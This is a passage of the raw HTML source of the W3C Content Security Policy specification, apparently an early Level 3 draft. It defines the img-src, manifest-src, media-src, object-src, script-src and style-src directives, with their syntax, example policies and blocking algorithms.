data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">requests</a> whose <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-type\">type</a> is \"<code>image</code>\" <a data-link-type=\"biblio\" href=\"#biblio-fetch\">[FETCH]</a>.</p>\n    <div class=\"example\" id=\"example-8e5ffeae\">\n     <a class=\"self-link\" href=\"#example-8e5ffeae\"></a> Given a page with the following Content Security Policy: \n<pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#img-src\">img-src</a> https://example.com/\n</pre>\n     <p>Fetches for the following code will return a network errors, as the URL\n    provided do not match <code>img-src</code>'s <a data-link-type=\"dfn\" href=\"#source-lists\">source list</a>:</p>\n<pre>&lt;img src=\"https://not-example.com/img\">\n</pre>\n    </div>\n    <h5 class=\"heading settled\" data-level=\"6.1.5.1\" id=\"img-src-algorithms\"><span class=\"secno\">6.1.5.1. </span><span class=\"content\">Algorithms</span><a class=\"self-link\" href=\"#img-src-algorithms\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\">pre-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> (<var>request</var>) and a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-type\">type</a> is \"<code>image</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-url-to-source-list\">§6.1.11.2 Does url match source list?</a> on <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-url\">url</a> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\">value</a> is \"<code>Does Not Match</code>\",\n  return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-post-request-check\">post-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> (<var>request</var>), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\">response</a> (<var>response</var>), and a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-type\">type</a> is \"<code>image</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-url-to-source-list\">§6.1.11.2 Does url match source list?</a> on <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-url\">url</a> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\">value</a> is \"<code>Does Not Match</code>\",\n  return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h4 class=\"heading settled\" data-level=\"6.1.6\" id=\"directive-manifest-src\"><span class=\"secno\">6.1.6. </span><span class=\"content\"><code>manifest-src</code></span><a class=\"self-link\" href=\"#directive-manifest-src\"></a></h4>\n    <p>The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"manifest-src\">manifest-src<a class=\"self-link\" href=\"#manifest-src\"></a></dfn> directive restricts the URLs from which application\n  manifests may be loaded <a data-link-type=\"biblio\" href=\"#biblio-appmanifest\">[APPMANIFEST]</a>. The syntax for the directive’s name\n  and value is described by the following ABNF:</p>\n<pre>directive-name  = \"manifest-src\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-source-list\">serialized-source-list</a>\n</pre>\n    <div class=\"example\" id=\"example-165f453d\">\n     <a class=\"self-link\" href=\"#example-165f453d\"></a> Given a page with the following Content Security Policy: \n<pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#manifest-src\">manifest-src</a> https://example.com/\n</pre>\n     <p>Fetches for the following code will return a network errors, as the URL\n    provided do not match <code>manifest-src</code>'s <a data-link-type=\"dfn\" href=\"#source-lists\">source list</a>:</p>\n<pre>&lt;link rel=\"manifest\" href=\"https://not-example.com/manifest\">\n</pre>\n    </div>\n    <h5 class=\"heading settled\" data-level=\"6.1.6.1\" id=\"manifest-src-algorithms\"><span class=\"secno\">6.1.6.1. </span><span class=\"content\">Algorithms</span><a class=\"self-link\" href=\"#manifest-src-algorithms\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\">pre-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> (<var>request</var>) and a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-type\">type</a> is \"\", and its <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-initiator\">initiator</a> is \"<code>manifest</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-url-to-source-list\">§6.1.11.2 Does url match source list?</a> on <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-url\">url</a> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\">value</a> is \"<code>Does Not Match</code>\",\n  return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-post-request-check\">post-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> (<var>request</var>), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\">response</a> (<var>response</var>), and a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-type\">type</a> is \"\", and its <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-initiator\">initiator</a> is \"<code>manifest</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-url-to-source-list\">§6.1.11.2 Does url match source list?</a> on <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-url\">url</a> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\">value</a> is \"<code>Does Not Match</code>\",\n  return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h4 class=\"heading settled\" data-level=\"6.1.7\" id=\"directive-media-src\"><span class=\"secno\">6.1.7. </span><span class=\"content\"><code>media-src</code></span><a class=\"self-link\" href=\"#directive-media-src\"></a></h4>\n    <p>The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"media-src\">media-src<a class=\"self-link\" href=\"#media-src\"></a></dfn> directive restricts the URLs from which video, audio,\n  and associated text track resources may be loaded. The syntax for the\n  directive’s name and value is described by the following ABNF:</p>\n<pre>directive-name  = \"media-src\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-source-list\">serialized-source-list</a>\n</pre>\n    <div class=\"example\" id=\"example-557d9dba\">\n     <a class=\"self-link\" href=\"#example-557d9dba\"></a> Given a page with the following Content Security Policy: \n<pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#media-src\">media-src</a> https://example.com/\n</pre>\n     <p>Fetches for the following code will return a network errors, as the URL\n    provided do not match <code>media-src</code>'s <a data-link-type=\"dfn\" href=\"#source-lists\">source list</a>:</p>\n<pre>&lt;audio src=\"https://not-example.com/audio\">&lt;/audio>\n&lt;video src=\"https://not-example.com/video\">\n    &lt;track kind=\"subtitles\" src=\"https://not-example.com/subtitles\">\n&lt;/video>\n</pre>\n    </div>\n    <h5 class=\"heading settled\" data-level=\"6.1.7.1\" id=\"media-src-algorithms\"><span class=\"secno\">6.1.7.1. </span><span class=\"content\">Algorithms</span><a class=\"self-link\" href=\"#media-src-algorithms\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\">pre-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> (<var>request</var>) and a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-type\">type</a> is one of \"<code>audio</code>\", \"<code>video</code>\",\n  or \"<code>track</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-url-to-source-list\">§6.1.11.2 Does url match source list?</a> on <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-url\">url</a> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\">value</a> is \"<code>Does Not Match</code>\",\n  return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-post-request-check\">post-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> (<var>request</var>), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\">response</a> (<var>response</var>), and a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-type\">type</a> is one of \"<code>audio</code>\", \"<code>video</code>\",\n  or \"<code>track</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-url-to-source-list\">§6.1.11.2 Does url match source list?</a> on <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-url\">url</a> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\">value</a> is \"<code>Does Not Match</code>\",\n  return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h4 class=\"heading settled\" data-level=\"6.1.8\" id=\"directive-object-src\"><span class=\"secno\">6.1.8. </span><span class=\"content\"><code>object-src</code></span><a class=\"self-link\" href=\"#directive-object-src\"></a></h4>\n    <p>The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"object-src\">object-src<a class=\"self-link\" href=\"#object-src\"></a></dfn> directive restricts the URLs from which plugin\n  content may be loaded. The syntax for the directive’s name and value is\n  described by the following ABNF:</p>\n<pre>directive-name  = \"object-src\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-source-list\">serialized-source-list</a>\n</pre>\n    <div class=\"example\" id=\"example-3469e20e\">\n     <a class=\"self-link\" href=\"#example-3469e20e\"></a> Given a page with the following Content Security Policy: \n<pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#object-src\">object-src</a> https://example.com/\n</pre>\n     <p>Fetches for the following code will return a network errors, as the URL\n    provided do not match <code>object-src</code>'s <a data-link-type=\"dfn\" href=\"#source-lists\">source list</a>:</p>\n<pre>&lt;embed src=\"https://not-example.com/flash\">&lt;/embed>\n&lt;object data=\"https://not-example.com/flash\">&lt;/object>\n&lt;applet archive=\"https://not-example.com/flash\">&lt;/applet>\n</pre>\n    </div>\n    <p>If plugin content is loaded without an associated URL (perhaps an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> element lacks a <code><a data-link-type=\"element-attr\" href=\"https://html.spec.whatwg.org/multipage/embedded-content.html#attr-object-data\">data</a></code> attribute, but loads some default plugin based\n  on the specified <code>type</code>), it MUST be blocked if <code>object-src</code>'s value is <code>'none'</code>, but will otherwise be allowed.</p>\n    <p class=\"note\" role=\"note\">Note: The <code>object-src</code> directive acts upon any request made on behalf of\n  an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code>, or <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/obsolete.html#the-applet-element\">applet</a></code> element. This includes requests\n  which would populate the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing context</a> generated by the\n  former two (also including navigations). This is true even when the data is\n  semantically equivalent to content which would otherwise be restricted by\n  another directive, such as an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> element with a <code>text/html</code> MIME\n  type.</p>\n    <h5 class=\"heading settled\" data-level=\"6.1.8.1\" id=\"object-src-algorithms\"><span class=\"secno\">6.1.8.1. </span><span class=\"content\">Algorithms</span><a class=\"self-link\" href=\"#object-src-algorithms\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\">pre-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> (<var>request</var>) and a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-type\">type</a> is \"\", and its <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\">destination</a> is \"<code>unknown</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-url-to-source-list\">§6.1.11.2 Does url match source list?</a> on <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-url\">url</a> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\">value</a> is \"<code>Does Not Match</code>\",\n  return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-post-request-check\">post-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> (<var>request</var>), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\">response</a> (<var>response</var>), and a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-type\">type</a> is \"\", and its <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\">destination</a> is \"<code>unknown</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-url-to-source-list\">§6.1.11.2 Does url match source list?</a> on <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-url\">url</a> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\">value</a> is \"<code>Does Not Match</code>\",\n  return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h4 class=\"heading settled\" data-level=\"6.1.9\" id=\"directive-script-src\"><span class=\"secno\">6.1.9. </span><span class=\"content\"><code>script-src</code></span><a class=\"self-link\" href=\"#directive-script-src\"></a></h4>\n    <p>The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"script-src\">script-src<a class=\"self-link\" href=\"#script-src\"></a></dfn> directive restricts the locations from which scripts\n  may be executed. This includes not only URLs loaded directly into <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements, but also things like inline script blocks and XSLT stylesheets <a data-link-type=\"biblio\" href=\"#biblio-xslt\">[XSLT]</a> which can trigger script execution. The syntax for the directive’s\n  name and value is described by the following ABNF:</p>\n<pre>directive-name  = \"script-src\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-source-list\">serialized-source-list</a>\n</pre>\n    <p>The <code>script-src</code> directive governs four things:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Script <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">requests</a> MUST pass through <a href=\"#should-block-request\">§4.1.3 Should request be blocked by Content Security Policy?</a>.</p>\n     <li data-md=\"\">\n      <p>Script <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\">responses</a> MUST pass through <a href=\"#should-block-response\">§4.1.4 Should response to request be blocked by Content\n    Security Policy?</a>.</p>\n     <li data-md=\"\">\n      <p>Inline <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> blocks MUST pass through <a href=\"#should-block-inline\">§4.2.3 Should element’s inline type behavior be blocked by Content Security Policy?</a>. Their\n  behavior will be blocked unless every policy allows inline script, either\n  implicitly by not specifying a <code>script-src</code> (or <code>default-src</code>) directive,\n  or explicitly, by whitelisting \"<code>unsafe-inline</code>\", a <a data-link-type=\"grammar\" href=\"#grammardef-nonce-source\">nonce-source</a> or a <a data-link-type=\"grammar\" href=\"#grammardef-hash-source\">hash-source</a> that matches\n  the inline block.</p>\n     <li data-md=\"\">\n      <p>The following JavaScript execution sinks are gated on the \"<code>unsafe-eval</code>\"\n  source expression:</p>\n      <ul>\n       <li data-md=\"\">\n        <p><code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.ecma-international.org/ecma-262/6.0/index.html#sec-eval-x\">eval()</a></code></p>\n       <li data-md=\"\">\n        <p><code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.ecma-international.org/ecma-262/6.0/index.html#sec-function-objects\">Function()</a></code></p>\n       <li data-md=\"\">\n        <p><code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#dom-windowtimers-settimeout\">setTimeout()</a></code> with an initial argument which is not callable.</p>\n       <li data-md=\"\">\n        <p><code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#dom-windowtimers-setinterval\">setInterval()</a></code> with an initial argument which is not callable.</p>\n      </ul>\n      <p class=\"note\" role=\"note\">Note: If a user agent implements non-standard sinks like <code>setImmediate()</code> or <code>execScript()</code>, they SHOULD also be gated on \"<code>unsafe-eval</code>\".</p>\n    </ol>\n    <h5 class=\"heading settled\" data-level=\"6.1.9.1\" id=\"script-src-algorithms\"><span class=\"secno\">6.1.9.1. </span><span class=\"content\">Algorithms</span><a class=\"self-link\" href=\"#script-src-algorithms\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\">pre-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> (<var>request</var>) and a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-type\">type</a> is \"<code>script</code>\", and its <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\">destination</a> is \"<code>subresource</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-url-to-source-list\">§6.1.11.2 Does url match source list?</a> on <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-url\">url</a> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\">value</a> is \"<code>Does Not Match</code>\",\n  return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-post-request-check\">post-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> (<var>request</var>), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\">response</a> (<var>response</var>), and a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-type\">type</a> is \"<code>script</code>\", and its <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\">destination</a> is \"<code>subresource</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-url-to-source-list\">§6.1.11.2 Does url match source list?</a> on <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-url\">url</a> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\">value</a> is \"<code>Does Not Match</code>\",\n  return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-inline-check\">inline check</a> algorithm is as follows:</p>\n    <p>Given an <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/dom/#interface-element\">Element</a></code> (<var>element</var>) and a string (<var>type</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>type</var> is \"<code>script</code>\" or \"<code>script attribute</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-element-to-source-list\">§6.1.12.1 Does element match source list?</a> on <var>element</var>, this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\">value</a>, and <var>type</var> is \"<code>Does Not Match</code>\", return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-initialization\">initialization</a> algorithm is as follows:</p>\n    <p class=\"issue\" id=\"issue-2b1bf0aa\"><a class=\"self-link\" href=\"#issue-2b1bf0aa\"></a> Do something interesting to the execution context in order to lock down <code>eval()</code>, et al. I don’t think ECMA gives us any hooks here, so let’s work\n  with them to put something reasonable together.</p>\n    <h4 class=\"heading settled\" data-level=\"6.1.10\" id=\"directive-style-src\"><span class=\"secno\">6.1.10. </span><span class=\"content\"><code>style-src</code></span><a class=\"self-link\" href=\"#directive-style-src\"></a></h4>\n    <p>The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"style-src\">style-src<a class=\"self-link\" href=\"#style-src\"></a></dfn> directive restricts the locations from which style\n  may be applied to a <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/html5/dom.html#document\">Document</a></code>. The syntax for the directive’s name and\n  value is described by the following ABNF:</p>\n<pre>directive-name  = \"style-src\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-source-list\">serialized-source-list</a>\n</pre>\n    <p>The <code>style-src</code> directive governs several things:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Style <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">requests</a> MUST pass through <a href=\"#should-block-request\">§4.1.3 Should request be blocked by Content Security Policy?</a>. This\n  includes:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>Stylesheet requests originating from a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-link-element\">link</a></code> element.</p>\n       <li data-md=\"\">\n        <p>Stylesheet requests originating from the <a class=\"css\" data-link-type=\"at-rule\" href=\"https://drafts.csswg.org/css-cascade-4/#at-ruledef-import\"><code>@import</code></a> rule.</p>\n       <li data-md=\"\">\n        <p>Stylesheet requests originating from a <code>Link</code> HTTP response header\n  field <a data-link-type=\"biblio\" href=\"#biblio-rfc5988\">[RFC5988]</a>.</p>\n      </ol>\n     <li data-md=\"\">\n      <p><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\">Responses</a> to style requests MUST pass through <a href=\"#should-block-response\">§4.1.4 Should response to request be blocked by Content\n    Security Policy?</a>.</p>\n     <li data-md=\"\">\n      <p>Inline <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> blocks MUST pass through <a href=\"#should-block-inline\">§4.2.3 Should element’s inline type behavior be blocked by Content Security Policy?</a>. The\n  styles will be blocked unless every policy allows inline style, either\n  implicitly by not specifying a <code>script-src</code> (or <code>default-src</code>) directive,\n  or explicitly, by whitelisting \"<code>unsafe-inline</code>\", a <a data-link-type=\"grammar\" href=\"#grammardef-nonce-source\">nonce-source</a> or a <a data-link-type=\"grammar\" href=\"#grammardef-hash-source\">hash-source</a> that matches\n  the inline block.</p>\n     <li data-md=\"\">\n      <p>The following CSS algorithms are gated on the <code>unsafe-eval</code> source\n  expression:</p>\n      <ol>\n       <li data-md=\"\">\n        <p><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/cssom/#insert-a-css-rule\">insert a CSS rule</a></p>\n       <li data-md=\"\">\n        <p><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/cssom/#parse-a-css-rule\">parse a CSS rule</a>,</p>\n       <li data-md=\"\">\n        <p><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/cssom/#parse-a-css-declaration-block\">parse a CSS declaration block</a></p>\n       <li data-md=\"\">\n        <p><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/cssom/#parse-a-group-of-selectors\">parse a group of selectors</a></p>\n      </ol>\n      <p>This would include, for example, all invocations of CSSOM’s various <code>cssText</code> setters and <code>insertRule</code> methods <a data-link-type=\"biblio\" href=\"#biblio-cssom\">[CSSOM]</a> <a data-link-type=\"biblio\" href=\"#biblio-html5\">[HTML5]</a>.</p>\n      <p class=\"issue\" id=\"issue-ba1a0a35\"><a class=\"self-link\" href=\"#issue-ba1a0a35\"></a> This needs to be better explained.</p>\n    </ol>\n    <h5 class=\"heading settled\" data-level=\"6.1.10.1\" id=\"style-src-algorithms\"><span class=\"secno\">6.1.10.1. </span><span class=\"content\">Algorithms</span><a class=\"self-link\" href=\"#style-src-algorithms\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\">pre-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> (<var>request</var>) and a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-type\">type</a> is \"<code>style</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-url-to-source-list\">§6.1.11.2 Does url match source list?</a> on <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-url\">url</a> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\">value</a> is \"<code>Does Not Match</code>\",\n  return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-post-request-check\">post-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> (<var>request</var>), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\">response</a> (<var>response</var>), and a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-type\">type</a> is \"<code>style</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-url-to-source-list\">§6.1.11.2 Does url match source list?</a> on <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-url\">url</a> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\">value</a> is \"<code>Does Not Match</code>\",\n  return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-inline-check\">inline check</a> algorithm is as follows:</p>\n    <p>Given an <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/dom/#interface-element\">Element</a></code> (<var>element</var>) and a string (<var>type</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>type</var> is \"<code>style</code>\" or \"<code>style attribute</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If 